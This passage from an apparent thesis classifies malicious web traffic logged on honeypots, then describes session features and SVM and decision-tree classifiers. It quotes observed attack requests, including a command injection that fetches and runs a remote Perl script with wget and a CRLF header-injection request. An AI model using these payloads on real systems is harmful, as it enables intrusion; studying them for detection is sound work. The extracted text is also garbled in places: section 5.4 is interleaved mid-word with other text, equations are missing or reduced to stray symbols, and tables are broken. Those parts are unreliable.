tmp;wget%20HTTP://*/d.pl;perl%20d.pl;echo%20YYY;echo| HTTP/1.1”. 
 SQL injection is a type of security exploit in which the attacker adds Structured Query 
Language (SQL) code to a Web form input box to gain access to resources or make 
changes to data. An SQL query is a request for some action to be performed on a 
database. Typically, on a Web form for user authentication, when a user enters their name 
and password into the text boxes provided for them, those values are inserted into a 
SELECT query. If the values entered are found as expected, the user is allowed access; if 
they are not found, the access is denied. However, most Web forms have no mechanisms 
in place to block input other than names and passwords. Unless such precautions are 
taken, an attacker can use the input boxes to send their own request to the database, 
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which could allow them to download the entire database or interact with it in other illicit 
ways [86]. The specific SQL Injection attacks that we managed to indentify and match 
NIST database [66] are described bellow. It is important to mention here that these 
attacks were tried at random towards non existing pages and applications on our 
honeypots. 
o CVE-2008-6923 is SQL injection vulnerability in the content component 
(com_content) 1.0.0 for Joomla! This allows remote attackers to execute arbitrary 
SQL commands via the Itemid parameter in a blog category action to index.php 




00.115/d.pl;perl%20d.pl;echo%20YYY;echo| HTTP/1.1”. CVE-2008-6923 was 
observed in a singe sessions on the Web2.0 I dataset. 
o CVE-2007-2821 is SQL injection vulnerability in wp-admin/admin-ajax.php in 
WordPress before 2.2 which allows remote attackers to execute arbitrary SQL 
commands via the cookie parameter [21]. CVE-2007-2821 was observed in a two 
sessions on the Web2.0 I dataset. 
 Cross-site scripting (XSS) is a security exploit in which the attacker inserts malicious 
coding into a link that appears to be from a trustworthy source. When someone clicks on 
the link, the embedded programming is submitted as a part of the client's Web request 
and can execute on the user's computer, typically allowing the attacker to steal 
information [14]. The following example is an XSS attacks that we managed to indentify 
at the NIST database [66]. 
o CVE-2007-0308 is a Cross-site scripting (XSS) vulnerability in Plain Black 
WebGUI before 7.3.4 (beta) allows remote attackers to inject arbitrary Web script 
or HTML via Wiki Page titles [20]. 
This attack was tried at random since we do not serve Plain Black 
WebGUI application and over the Wiki’s index.php page. The attack requests that 
ended up on the Wiki’s index.php page were not successful because this 
vulnerability does not affect our Wiki applications. 
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CVE-2007-0308 was observed in a two sessions on the Web2.0 I dataset. 
 Other attacks is a group of attacks that did not belong to any group of attacks described 
above. The following are the other types of attacks that we managed to indentify at the 
NIST database [66]. 
o CVE-2006-6374, Multiple CRLF injection vulnerabilities in phpMyAdmin 2.7.0-
pl2 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP 
response splitting attacks via CRLF sequences in a phpMyAdmin cookie in (1) 
css/phpmyadmin.css.php, (2) db_create.php, (3) index.php, (4) left.php, (5) 
libraries/session.inc.php, (6) libraries/transformations/overview.php, (7) 
querywindow.php, (8) server_engines.php, and possibly other files [19]. 
CVE-2006-6374 was observed on four sessions on the WebDBAdmin I 
dataset and in three on the unadvertised server for WebDBAdmin I. The fact that 
this attack was observed on the advertised and the unadvertised honeypots 
indicates that the attackers use IP-based strategy to locate our honeypots. 
Although this attack was towards the phpMyAdmin application it was not 
successful because we serve phpMyAdmin version 2.9.1.1 which has this 
vulnerability fixed. 
Example of such attack request is the following 
“GET /phpmyadmin/translators.html?phpMyAdmin= %0d%0aSet-
Cookie%3A*%3D* HTTP/1.1”. 
o CVE-2008-3906 is CRLF injection vulnerability in Mono 2.0 and earlier [26]. 
CVE-2008-3906 was observed in one session on the WebDBAdmin I 
dataset. This was a random attack since we do not serve Mono on our servers. 
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4.3 Feature Extraction 
 
In order to successfully classify the malicious activity observed in our four datasets we 
need to extract certain features that characterize the current trends in malicious traffic. In our 
previous work [7],[48],[50] we used only three features, described bellow, which we found out 
that are positively correlated and therefore not sufficient to be used for machine learning. 
Detailed description of the statistical correlation between the three features can be found in [2]. 
A good starting point for defining features was KDD’99 dataset described in detail in 
[35]. Although the KDD’99 is a network level dataset we chose to start with examining its set of 
feature because (1) KDD’99 is used widely for testing intrusion detection systems, (2) each 
network event was summarized in high-level connection records, similarly as our HTTP 
sessions, (3) the feature extraction in KDD’99 was based on  choosing features that are most 
relevant in determining the class label in order to substantiate the performance of the detectors 
based on machine learning methods, like Decision trees,  Neural networks, Clustering, SVM, etc 
[35]. For example Kayacık et al. in [35] calculated the Information Gain used in Decision trees to 
look for features that leads to purest branching. 
Since we are classifying malicious HTTP traffic activities extracted from Web Server 
logs we considered features that were extracted in the related work [4], [9], [45], [60], [93]. Each 
feature that we revised and adapted for our work from the related work is described bellow. 
Our feature extraction process began with the work described in section 4.2 Data 
Labeling. Thus, we use the lessons learned from the semi-automated pattern matching and the 
discovered patterns we used to assign labels to each request and session. Furthermore we used 
the general principles that describe the current trends in malicious traffic to find out that the 
features described bellow could possible characterize the malicious traffic. 
Specifically we used the descriptions provided by OWASP for the Top 10 Application 
Security Risks in 2010 which are (1) Injection, (2) Cross-Site Scripting (XSS), (3) Broken 
Authentication and Session Management, (4) Insecure Direct Object References, (5) Cross-Site 
Request Forgery (CSRF), (6) Security Misconfiguration, (7) Insecure Cryptographic Storage, (8) 
Failure to Restrict URL Access, (9) Insufficient Transport Layer Protection, (10) Unvalidated 
Redirects and Forwards. The Open Web Application Security Project (OWASP) [68] is an open-
source application security project which includes corporations, educational organizations, and 
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individuals from around the world working to create freely-available articles, methodologies, 
documentation, tools, and technologies. Most of these security risks we already observed and are 
described in detail in section 4.2 Data Labeling as well as in [67]. 
All of the features that we extracted are characterizing HTTP sessions. Since a single 
request can be enough for a successful attack some of the features started form attributes 
describing each request. Below we describe in detail how those features were transformed to 
characterize HTPP sessions. 
Next we present the complete list, with detailed description of each feature. 
The first three features are the ones we used in our previous work [7], [48], [50] and in 
parts of [2]. The following three features are discrete variables: 
1. Number of Requests is the count of the total number of requests within a single HTTP 
session. 
2. Bytes Transferred is the amount of traffic, measured in bytes, transferred in a single 
HTTP session. We calculated the sum of the bytes transferred for each request in the 
session. The Bytes Transferred is a discrete variable because it is measured in bytes 
given in integer format. 
3. Duration is the duration of an HTTP session, measured in seconds.  We calculated the 
time difference between the timestamp of the first and the last request in the session. 
The Duration is a discrete variable because it is measured in seconds given in integer 
format. The sessions with one request have zero duration. 
The following five features describe the time, measured in seconds, between successive 
requests in a single HTTP session. Since a single HTTP session can have one or multiple 
requests we created a vector of the time between successive requests and calculated the 
following metrics (if an HTTP session contains only one request than the values of these features 
will be zero). These five features are adaptation of the “avgHTMLPeriod” and 
“stdevHTMLPeriod” features described in [4]. 
4. Mean time between requests is the average of all times between requests in a single 
HTTP session. This feature is a continuous variable. 
5. Median time between requests of all times between requests in a single HTTP session. 
This feature is a discrete variable. 
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6. Min time between requests is the minimum time between two in a single HTTP 
session. This feature is a discrete variable since the time is measured in seconds given 
in integer format. 
7. Max time between requests is the maximum time between two requests in a single 
HTTP session. This feature is a discrete variable. 
8. Standard Deviation of time between requests gives us the standard deviation of all 
times between requests in one HTTP session. This feature is a continuous variable. 
The next six features are adaptation of the “GETPerc”, “POSTPerc”, “HEADPerc”, and 
“OTHERPerc” features described in [4] and the “method” feature described in [60]. The 
difference is that in [4] the values of these features are proportions expressed as percentages, and 
we used actual counts because in Chapter 5 we use normalization. These features are discrete 
variables. 
9. Number of requests with GET method type is the count of GET HTTP method type 
requests in a single HTTP session. 
10. Number of requests with POST method type is the count of POST HTTP method type 
requests in one HTTP session. 
11. Number of requests with OPTIONS method type is the count of OPTIONS method 
type requests in a single HTTP session. More details on how OPTIONS HTTP 
method type was used in our honeypots were presented in section 4.2.1 Labeling 
Vulnerability Scans. 
12. Number of requests with HEAD method type is the count of HEAD HTTP method 
type requests in a single HTTP session. 
13. Number of requests with PROPFIND method type is the count of PROPFIND 
requests in a single HTTP session. PROPFIND method type is platform specific and 
we describe its use in out honeypots in section 4.2.2 Labeling Attacks. 
14. Number of requests with other method types is the count of requests that used one of 
the other HTTP method types: PUT, DELETE, TRACE, and CONNECT in a single 
HTTP session. We decide to count these requests together because they were used 
rarely or not at all in our datasets. 
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More details on HTTP/1.1 protocol and the specifics of the HTTP methods can be found 
in [38]. The sum of the previous six features equal to the value of the number of requests in a 
session (i.e., is feature 1). 
The next five features are adaptation of the “CEPerc”, “DIPerc”, “IDPerc”, “MEPerc”, 
“PSPerc”, “TSPerc”, and “ASPerc” features described in [4]. They represent the number of 
requests within one session that were towards Picture, Video, Static HTML, Application, or Text 
files respectively. 
To extract these features we parsed each request string in Web server’s access log to 
locate the file that was requested. Then we looked at its extension and increased the counter for 
the group where the file belongs. Similarly as the previous group we used actual counts whereas 
in [4] the values of these features are proportions expressed as percentages. These features are 
discrete variables. 
15. Number of requests to Pictures files is the count of requests that were towards picture 
files (extensions like .jpeg, .jpg, .gif, .ico, .png, etc.) in a single HTTP session. 
16. Number of requests to Videos files is the count of requests that were towards video 
files (extensions like .avi, .mpg, .wmv, etc) in a single HTTP session. 
17. Number of requests to Static HTML files is the count of requests that were towards 
static HTML files (extensions like .html, .htm) in a single HTTP session. 
18. Number of requests to Dynamic application files (Applications) is the count of 
requests that were towards application files (extensions like .jsp, .php, .asp, etc.) in a 
single HTTP session. Similar feature to this one is also the feature “Application” used 
in [45] and [93]. 
19. Number of requests to Texts files is the count of requests that were towards text files 
(extensions like .txt, .ini, .css, etc.) in a single HTTP session. 
In section 4.2 Data Labeling many of the Vulnerability scan and Attack attempts were not 
aimed at specific target but they were rather random. Furthermore, many of the requests were 
specifically designed to initiate not normal or regular response by the Web server. Each response 
recorded in the Web server log has a three digit status code. For example a request aimed 
towards non-existent content on our Web server is recorded in the Web server log as Not Found 
with 404 status code. 
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The following five features are discrete variables and count the number of requests that 
belong to each group of status codes. The sum of the values of these features is equal to the value 
of the number of requests in a session (i.e., is feature 1). 
20. Number of requests with Informational code is the count of requests that returned 
informational status codes in a single HTTP session. These status codes indicate a 
provisional response. The client should be prepared to receive one or more 1xx 
responses before receiving a regular response [88]. 
21. Number of requests with Success code is the count of requests that returned success 
status codes (numbered 2xx) in a single HTTP session. This class of status codes 
indicates that the server successfully served the client’s request [88]. 
22. Number of requests with Redirection code is the count of requests that returned 
redirection status codes (numbered 3xx) in a single HTTP session. Redirection status 
codes appear when the client browser must take more action to fulfill the request. For 
example, the browser may have to request a different page on the server or repeat the 
request by using a proxy server [88]. 
23. Number of requests with Client Error code is the count of requests that returned client 
error status codes (numbered 4xx) in a single HTTP session. Client error status codes 
appear if an error occurs, and the client appears to be at fault. For example, the client 
may request a page that does not exist, or the client may not provide valid 
authentication information [88]. 
24. Number of requests with Server Error code is the count of requests that returned 
server error status codes (numbered 5xx) in a single HTTP session. Server error status 
codes appear if the server cannot complete the request because it encounters an error 
[88]. 
The next group of five features is representation of the length, in number of characters, of 
the portion of the request string from the Web server access log, which tell us what is actually 
requested. For example, the following is a request string from the Web server log “GET 
//phpMyAdmin//scripts/setup.php HTTP/1.1”. For the length of the substring we count the 
number of characters in the sub-string without the string identifying the HTTP method (in this 
case “GET “), and without the string identifying the HTTP protocol version (in this case “ 
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HTTP/1.1”). For this particular example that sub-string is “//phpMyAdmin//scripts/setup.php” 
and the value of the length is 31. 
This feature is adaptation of the “reqStr” feature from [60] where the actual sub-string 
was used, and the “Parameter Length” described in [9]. Since the length of substring feature is a 
characteristic of a single request, we calculate the following metrics of the features for an HTTP 
session. 
25. Mean Length of all requests sub-strings in an HTTP session. This feature is a 
continuous variable. 
26. Median Length of all request sub-strings in an HTTP session. This feature is a 
discrete variable. 
27. Min Length of all request sub-strings in an HTTP session. This feature is a discrete 
variable. 
28. Max Length of all request sub-strings in an HTTP session. This feature is a discrete 
variable. 
29. Standard Deviation of the Length of all request sub-strings in an HTTP session. This 
feature is a continuous variable. 
The next group of five features is also a representation of a request specific feature. This 
feature gives us the count of the HTTP request parameters being passed with each request. HTTP 
request parameters are the additional strings attached to the end of a URL, separated from the 
requested file with question mark “?”, when submitting a form on a Web page. The feature is 
similar with the “query” feature from [60]. 
For example, HTML form defined as follows with a username and password field:  
<form action=“HTTP://www.examplesite.com/login”> 
<input type=text name=“username”> 
<input type=text name=“password”> 
<input type=submit> 
</form> 
Submitting the form will make the browser request HTTP://www.examplesite.com/login, 
with the username and password parameters attached to the end (usually separated with an 
ampersand “&” or semicolon “;”): 
HTTP://www.examplesite.com/login?username=foo&password=bar 
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In this case the count for number of parameters passed with the request is two. 
HTTP request parameters are usually used to pass simple data in Web applications, in 
some APIs designed for the programmer to call a Web service, passing in parameters directly via 
the URL. Essentially, any time a simple, short piece of data needs to be passed from the client to 
the server. The HTTP request parameters are used in patterns of XSS, RFI, and SQL Injection 
attacks. We found it useful to count how many parameters are being passed in order to determine 
if they are in the range of the actual capabilities of our applications. More details about the 
parameters can be found in [91]. 
30. Mean Number of Parameters passed to an application in a single HTTP session. This 
feature is a continuous variable. 
31. Median Number of Parameters passed to an application in a single HTTP session. 
This feature is a discrete variable. 
32. Min Number of Parameters passed to an application in a single HTTP session. This 
feature is a discrete variable. 
33. Max Number of Parameters passed to an application in a single HTTP session. This 
feature is a discrete variable. 
34. Standard Deviation of Number of Parameters passed to an application in a single 
HTTP session. This feature is a discrete variable. 
The last nine features are binary variables. We created these features in order to capture 
the existence of certain phenomenon in the HTTP session. 
35. robots.txt indicates whether a robots.txt file was accessed in at least one of the 
requests in a single HTTP session. This feature is adaptation of the “robotsFile” 
feature form described in [4]. It usually indicates a crawler or a session with 
malicious intention if the content that was specifically marked in the robots.txt file 
was requested after the request of the robots.txt file. 
36. Night indicates if the session was between 12am to 8am (local time). This feature is 
adaptation of the “night” feature described in [4]. 
37. Remote Sites Injected indicates if there is a remote site injection in at least one of the 
request in an HTTP session. This feature is crucial in identifying attacks, especially 
the XSS and RFI types of attacks, described in section 4.2.2 Labeling Attacks. This 
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feature is adaptation of the “Value Passed” and “Attribute Name” features described 
in [9],[45], and [93]. 
38. Semicolon Used indicates if a semicolon was used to divide the multiple parameters 
passed to an application in at least one of the request in HTTP session. Semicolon is 
usually used if parameters are passed to a CGI script (the special interest in the CGI 
scripts is explained in section 4.2.1 Labeling Vulnerability Scans). The motivation 
behind this feature is to capture the usage of scripts as parameters, making it different 
from the features 30, 31, 32, 33, and 34. This feature is also an adaptation of the 
“Value Passed” feature described in [9], [45], and [93]. 
The last five features indicate usage of specific characters that are not usually associated 
with activity of non-malicious nature in the request string. These features are adaptation of to the 
“suspiciousHexEncoding” and “invalidHexEncoding” from [60]. 
39. Unsafe Characters indicates if a character was encoded with suspicious encoding or 
in other words contains characters not in the list of safe string characters in at least 
one of the request in an HTTP session. The list includes and is not limited to symbols 
like Space, Left Curly Brace ("{"), 'Less Than' symbol ("<"), etc. 
40. Reserved Characters indicates if a reserved character was used in at least one of the 
request in an HTTP session. The list of reserved characters consists of and is not 
limited to the symbols like Dollar ("$"), Plus ("+"), 'At' symbol ("@"), etc. 
41. ASCII Control Characters indicates if an ASCII Control Characters character was 
used in at least one of the request in an HTTP session. These characters are not 
printable and the list consists of the characters from the ISO-8859-1 characters set in 
position ranges 00-1F hex (0-31 decimal) and 7F (127 decimal.). 
42. Non ASCII Control Characters indicates if a Non ASCII Control Characters character 
was used in at least one of the request in an HTTP session. These characters are by 
definition not legal in URLs since they are not in the ASCII set. The list of these 
characters consists of the entire "top half" of the ISO-8859-1 characters set, position 
ranges 80-FF hex (128-255 decimal.) 
43. Invalid Characters indicates if an invalid encoding is used in at least one of the 
requests in an HTTP session (e.g., encoding like “%*7”). 
 




Details and the list of values for specific group of characters described above are listed in 
[37]. 
For the purposes of this work we developed a tool which is a combination of C++ 
Programming and Bash Scripting that parses the raw Web server log files in NCSA extended log 
format [32] to create comma separated value file containing vectors with specific values for the 





Chapter 5  
Supervised Data Classification 
 
In this chapter we apply supervised machine learning techniques to our data in order to 
classify the observed malicious activity. We begin this chapter with problem definition and 
discuss how we assess the performance of the learners. Then we present specific supervised 
machine learning techniques and the feature selection methodology used to obtain a reduced set 
of features. We conclude this chapter with presentation of the results. 
 
5.1 Problem Definition 
 
In this work we use the supervised machine learning techniques Support Vector 
Machines (SVM) and Decision Trees based learners the J48 and the rule induction method 
PART in order to classify malicious activities.  Using the datasets described in Chapter 4 as a 
basis for these learners, we present solutions for the following two machine learning problems: 
 
P1. Two-class Problem – Classify each data point, i.e. HTTP session, from our four datasets 
into two major classes: One of the classes is the Attack class containing all session that 
were labeled as Attacks in section 4.2.2 Labeling Attacks. The second class is the 
Vulnerability Scans class and contains all sessions labeled as Vulnerability scans in 
section 4.2.1 Labeling Vulnerability Scans. 
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P2. Multi-class Problem – Classify each data point, i.e., HTTP session, in our four datasets 
into separate classes of malicious activities corresponding to the labels of HTTP sessions 
presented in Table 4.1 – 4.3. 
 
5.2 Assessing Performance 
 
In order to assess the performance of the learners first we construct confusion matrices. 
The confusion matrix shown in Table 5.1 contains four different possible outcomes of a single 
prediction for a two-class problem. These outcomes are True positives (TP), False negatives 
(FN), False positives (FP), and True negatives (TN). In our case the definitions of these 
outcomes are as follows: 
  
 True positive (TP) is the count of correctly classified attacks, or detected attacks. 
 False negative (FN) is the count of HTTP sessions that are incorrectly classified as 
Vulnerability scans, when in fact they are Attacks. 
 False positive (FP) is the count of HTTP sessions that are incorrectly classified as 
Attacks, when in fact they are Vulnerability scans. 









True Positives (TP) False Negatives (FN) 
Actual 
Vulnerability Scan 
False Positives (FP) True Negatives (TN) 
Table 5.1: Confusion Matrix for the Two-class Problem 
  
In order to assess the performance of the classifiers we calculate the following 
performance metrics based on the confusion matrix from Table 5.1. 
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The metric defined with equation (5.1) is called Probability of Detection or Recall. In our 
analysis the Recall is the probability of detecting an attack, or the ratio of detected attacks (true 
positives) to all attacks. 
The metric defined with equation (5.2) is called Probability of False Alarm (PF) which is 
the ratio of detected attacks when no attack was present to all vulnerability scans. 
The metric defined with equation (5.3) is called Precision, and it is the ration of true 
positives to true and false positives. Precision measures the performance of the learner to classify 
a particular category of traffic. In other words the precision determines how many identified 
attacks were correct. 
The metric defined with equation (5.4) is called Balance which denotes the balance 
between the Recall and the Probability of False Alarm (PF). Ideally, we want the Recall to be 1 
and the PF to be 0, but this is rarely archived in practice. Thus, the balance measure denotes the 
distance from this ideal spot of PF = 0, PF = 1 to a pair of (PF, PD). 
The confusion matrix of a multi-class prediction it more complex and it contains as much 
rows and columns as there are classes. The confusion matrix shown in Table 5.2 contains the 
outcome of a single prediction for the multi-class problem.  
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Table 5.2: Confusion Matrix for the Multi-class Problem 
 
 For the multi-class problem except for the overall accuracy, the metrics defined above 
need to be calculated individually for each class. 
 For the overall accuracy in a multi-class prediction the equation (5.5) applies. There is no 
trade-off between False Positives (FP) and False Negatives (FN); rather they will be the same 
and will be computed as a sum of the predictions located off the main diagonal as show in Table 
5.2, i.e. the sum of the misclassifications. True Positives (TP) and True Negatives (TN) will also 
be the same and will be computed as the sum of the prediction located on the main diagonal, i.e. 
the sum of the correct classifications. 
 The equations (5.6), (5.7), (5.8), (5.9) are generalization of the metrics defined above the 
Recall, PF, Precision, and Balance respectively for a Class K in a multi-class prediction. 
 



























































































An important part when assessing the learner’s performance is to present how these 
results will generalize to an independent dataset. In order to do so we use a technique called 
cross-validation. 
Cross-validation is mainly used in settings where the goal is prediction, and one wants to 
estimate how accurately a predictive model will perform in practice. One round of cross-
validation involves partitioning a sample of data into complementary subsets, performing the 
analysis on one subset (called the training set), and validating the analysis on the other subset 
(called the validation set or testing set). To reduce variability, multiple rounds of cross-validation 
are performed using different partitions, and the validation results are averaged over the rounds. 
In this work we use K-fold cross-validation, specifically a 10-fold cross-validation as 
most commonly used [33]. In K-fold cross-validation the original sample is randomly partitioned 
into K subsamples, where each subsample contains roughly the same proportions of the class 
labels. Of the K subsamples, a single subsample is retained as the validation data for testing the 
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model, and the remaining K−1 subsamples are used as training data. The cross-validation process 
is then repeated K times (the folds), with each of the K subsamples used exactly once as the 
validation data. 
The results presented in this work are the averages of the K results from the folds. The 
advanta
5.4 Normalization 
Before we apply the machine learning techniques we perform feature normalization. In 
our dat
reater numeric ranges to 
domina
ge of using K-fold cross-validation over repeated random sub-sampling is that all 
observations are used for both training and validation, and each observation is used for validation 
exactly once [15]. 
 
 
asets, the ranges of the features are very different. Some features take continuous values 
while others take discrete and even binary values such as zero or one. 
Normalization is applied in order to avoid attributes in g
te those in smaller numeric ranges. The normalization method we use in this work is the 
Min-Max presented in [3]. The chosen range for normalizing each attribute value is between 0 
and 1 making each feature value lie within the new range [0, 1] with underling distribution of the 











Normalization of a feature
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5.5 Support Vector Machines 
 
In this study our first choice for supervised learning method are the Support Vector 
Machines (SVM) as one of the most successful classification algorithms. We begin with the 
background on the SVM, and explain how we use the SVM on our datasets. 
 
5.5.1 Background on SVM 
 
By definition the goal of SVM is to produce a model (based on the training data) which 
predicts the target values of the test data given only the test data attributes. As described in [6], 
given a training set of instance-label pairs (xi,yi), i=1,…,l where xiRn and yi{-1,1}, the 




















The equation (5.11) shows that the training vectors xi are mapped into a higher (maybe 
infinite) dimensional space by the function . SVM finds a linear separating hyperplane with the 
maximal margin  in this higher dimensional space. C > 0 is the penalty parameter of the error 
term and K(xi, xj) ≡  (xi)T (xj) is called the kernel function [11]. 
From the above definition can be seen that the SVM were originally designed to solve 
two-class problems. Extensions to the original SVM design in order to effectively classify multi-
class problems are described in [10]. One such method is called ONE-AGAINST-ONE. 




 classifiers, where k is the number of classes. Each classifier is 
trained on data for two classes. For the training data l, (x1,y1),…,(xl,yl) that belongs to i-th and  j-









































After the classifiers are constructed we use the following voting strategy presented in 
[43]: If says that vector x is in the i-th class, the vote for the i-th class is 
added by one. Otherwise, the j-th class is increased by one. Then a prediction is made if x is in 
the class with the largest vote. The voting approach described above is also called the 
“MaxWins” strategy. In case the two classes have identical votes, it may not be a good strategy 
to simply select the one with the smaller index. In order to solve this case a solution is searched 
for the dual of three whose number of variables is the same as the number of data in two classes. 
Hence if in average each class has 
))()(( ijTij bxwsign 
k
l









5.5.2 Kernel Function and Parameter Estimation 
 
The choice of a kernel function is an important part of SVM. As discussed in section 
5.5.1 Background on SVM this is the function that maps the vectors x into a higher (maybe 
infinite) dimensional space making it crucial for creating good class separating hyperplanes. The 
function in equation (5.13) is called Radial Basis Function (RBF) kernel function. 




Based on [11] the following makes RBF a good candidate for a kernel function for this 
study: 
 RBF kernel nonlinearly maps samples into a higher dimensional space so it, unlike the 
linear kernel, can handle the case when the relation between class labels and attributes is 
nonlinear. Furthermore, the linear kernel is a special case of RBF, since the linear kernel 
with a penalty parameter C has the same performance as the RBF kernel with some 
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parameters (C, ). In addition, the sigmoid kernel behaves like RBF for certain 
parameters. 
 The second reason is the number of hyperparameters which influences the complexity of 
model selection. The polynomial kernel has more hyperparameters than the RBF kernel. 
 Finally, the RBF kernel has fewer numerical difficulties. 
The RBF kernel requires the parameter  to be specified beforehand. In order to 
determine best value for the parameter  and penalty parameter C, we perform grid-search over 
various pairs of (C, ) values. We pick the pairs of (C, ) values with the best cross-validation 
accuracy [11]. In order to have a more general estimates for the  and C parameters we chose to 
do the grid-search and the cross-validation over 50% stratified random subsample for each 
dataset, leaving the other half of the datasets as an unknown for the kernel function. 
Our tests confirm the statement in [11] that choosing right values for the pair (C, ) 
values is critical to the performance of the SVM. Furthermore our past experiments showed that 
trying to estimate the values for (C, ) over less than 50% of the datasets results in significant 
drop in performance in some of the folds when doing cross-validation testing. For SVM 
generation, testing, and parameter estimation we use the tool called LIBSVM presented in [11]. 
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The results of the parameter (C, ) estimation for each dataset for the two-class and multi-
class problem using all extracted features from section 4.3 Feature Extraction are shown in  
Table 5.3 
 
Two-Class Problem Multi-Class Problem 
Dataset 
C  C 
Web2.0 I 2048.0 0.0078125 2048.0 0.0078125 
Web2.0 II 128.0 0.03125 32768.0 0.03125 
WebDBAdmin I 128.0 0.0078125 32768.0 0.0001220703125 
WebDBAdmin II 2048.0 0.00048828125 8192.0 0.001953125 
Table 5.3: Parameter (C, ) estimates for each dataset for the two and multi-class problem using all features 
 
 In Table 5.4 and Table 5.5 are shown the results of the parameter (C, ) estimation for 
each dataset for the two-class and multi-class problem respectively using only SVM selected 




SVM Selected Features C 
Web2.0 I 10, 14, 18, 38, 40 0.5 0.5 
Web2.0 II 2, 6, 9, 10, 15, 27, 32 32768.0 8.0 
WebDBAdmin I 8, 10, 18, 23, 30 0.5 0.5 
WebDBAdmin II 10, 37, 39 32768.0 0.0001220703125 





SVM Selected Features C 
Web2.0 I 10, 14, 18, 38, 40 32768.0 0.5 
Web2.0 II 1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 35, 37 32768.0 0.03125 
WebDBAdmin I 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 8192.0 0.5 
WebDBAdmin II 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 26, 28, 29, 30, 33, 
37, 38, 39 
32768.0 0.0078125 
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5.6 Decision Trees 
 
Based on the related work decision trees have been successfully used in knowledge 
discovery. They use induction in order to provide an appropriate classification of objects in terms 
of their attributes, inferring decision tree rules. The classification rules are easy to read and can 
help us better grasp the malicious activity described with the features [93]. The decision trees are 
also known to portray higher Recall and lower Probability of False Alarms than other learners 
when used in classifying Web attacks [93]. 
 
5.6.1 Background on J48 
 
In this work we use J48 tree learner from the WEKA data mining toolkit [96], [40]. J48 is 
a JAVA implementation of C4.5 (version 8) algorithm developed by Ross Quinlan [72]. C4.5 is 
on the other hand an extension of Quinlan's earlier ID3 algorithm [71]. One of the extensions 
important for our work is that C4.5 can handle both continuous and discrete attributes. In order to 
handle continuous attributes, C4.5 creates a threshold and then splits the list into those whose 
attribute value is above the threshold and those that are less than or equal to it. 
In general a decision tree is made of decision and leaf nodes connected with edges. 
Decision nodes specify a test attribute, the edges correspond with one of the possible outcomes 
of the decision nodes, and leaf nodes specify the class to which the objects belong. 
The decision trees defined by Quinlan are constructed by following the divide-and-
conquer process, starting from the root to the leaves. Let TD be a set of objects in the training 
data consisted of n classes (c1 , c2 ,…, cn). If TD consists of only instances of a single class, then 
TD will be a leaf node. If TD contains no instances then TD will be a leaf node and the 
associated class with that leaf will be assigned with the major class of its parent node. If TD 
contains instances that belong to more than one class, a test based on some attribute ai of the 
training data will be carried and TD will be split into p subsets (TD1, TD2, …,TDp), where p is 
the number of outcomes of the test over attribute Ak. This same process of constructing the 
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decision tree is recursively performed over each TDj, where 1  j  p, until every subset belongs 
to a single class. 
The decision tree algorithms by Ross Quinlan are based on Occam's razor meaning they 
prefer smaller decision trees (simpler theories) over larger ones. However, they do not always 
produce the smallest tree, and are therefore heuristic. Occam's razor is formalized using the 
concept of information entropy, the choice for the best attribute for each decision node during 
construction of the decision tree used within the C4.5 algorithm is Gain ratio. Gain ratio is based 
on the Shannon entropy, and for an attribute Ak and a subset of objects TDj, it is defined as 
follows: 
)()(),( jAjkj TDInfoTDInfoATDGain k  
 
(5.14)
Gain, computed to estimate the gain 















































Information entropy of the subset Tj 
per attribute Ak
where freq(ci, Tj) denotes the number of objects in the subset Tj belonging to the class ci 
and is the subset of objects for which the attribute Ak has the value ak (belonging to the 







































ATGainRatio   
 
(5.18)
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5.6.2 Tree Pruning 
 
Pruning decision trees is a fundamental step in optimizing the computational efficiency as 
well as classification accuracy of the tree model. When pruning methods are applied the resulting 
tree is usually reduced in size or number of nodes in order to avoid unnecessary complexity, and 
over-fitting of the data. In this work we use Reduced Error Pruning (REP) to build the optimally 
pruned trees in our experiments. Research done by Esposito et al. in [31] showed that the 
algorithm proposed for the REP finds the smallest sub-tree with the lowest error rate with respect 
to the pruning set. 
REP is a method proposed by Quinlan in [46] and is one of the simplest forms of pruning. 
It starts with the complete tree Tmax and goes trough each internal node t of Tmax, and compares 
the number of classification errors made on the pruning set when the sub-tree Tt is kept, with the 
number of classification errors made when t is turned into a leaf and associated with the best 
class. Sometimes, the simplified tree has a better performance than the original one. In this case, 
it is advisable to prune Tt. This branch pruning operation is repeated on the simplified tree until 
further pruning increases the misclassification rate. Quinlan restricts the pruning condition given 
above with another constraint: Tt can be pruned only if it contains no sub-tree that results in a 
lower error rate than Tt itself. This means that nodes to be pruned are examined according to a 
bottom-up traversal strategy. REP has linear computational complexity, since each node is 
visited only once to evaluate the opportunity of pruning it and REP finds the smallest version of 
the most accurate sub-tree with respect to the pruning set [31]. 
Since in our work we use 10-fold cross-validation, and REP requires a pre-defined 
pruning set, in our tree pruning process we create a pruning set as one-third of each fold. 
 





PART [29] is one of the best performing rule learning algorithms available. It is called 
“PART” because it is based on partial decision trees. We use PART because (1) Rules are the 
most popular representation of models in machine learning, since they can readily be interpreted 
by domain experts, (2) Decision trees are sometime more problematic due to the larger size of 
the tree which could be oversized and might perform badly for classification problems [74], and 
(3) Based on our study and the observed malicious traffic we want to present highly accurate 
rules that can aid a future anomaly detection tool.  
The PART algorithm infers rules by repeatedly generating partial decision trees, by 
combining the two major paradigms for rule generation (1) creating rules from decision trees 
using C4.5 and (2) the separate-and-conquer rule learning technique RIPPER. It adopts the 
separate-and-conquer strategy in that it builds a rule, removes the instances it covers, and 
continues creating rules recursively for the remaining instances until none are left. It differs from 
the standard approach in the way that each rule is created. 
In essence, to make a single rule a pruned “partial” decision tree instead of a fully 
explored one is built for the current set of instances, the leaf with the largest coverage is made 
into a rule, and the tree is discarded. A partial decision tree is an ordinary decision tree that 
contains branches to undefined sub-trees. To generate such a tree, construction and pruning 
operations are integrated in order to find a “stable” sub-tree that can be simplified no further. 
Once this sub-tree has been found, tree-building ceases and a single rule is read off. The tree-
building algorithm is exactly the same as C4.5. 
PART algorithm avoids post-processing because once a partial tree has been built, a 
single rule is extracted from it. Each leaf corresponds to a possible rule, and the “best” leaf of 
those sub-trees are sought (typically a small minority) that have been expanded into leaves. 
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5.7 Feature Selection 
 
As discussed in section 4.3 Feature Extraction, we extracted 43 features which 
characterize HTTP sessions from the Web server’s logs. Based on the observed malicious traffic 
in our datasets, and the choice of machine learning techniques, some features are “more relevant” 
than others. Using only relevant features is optimizing the computational efficiency and can 
improve the performance of the learners. 
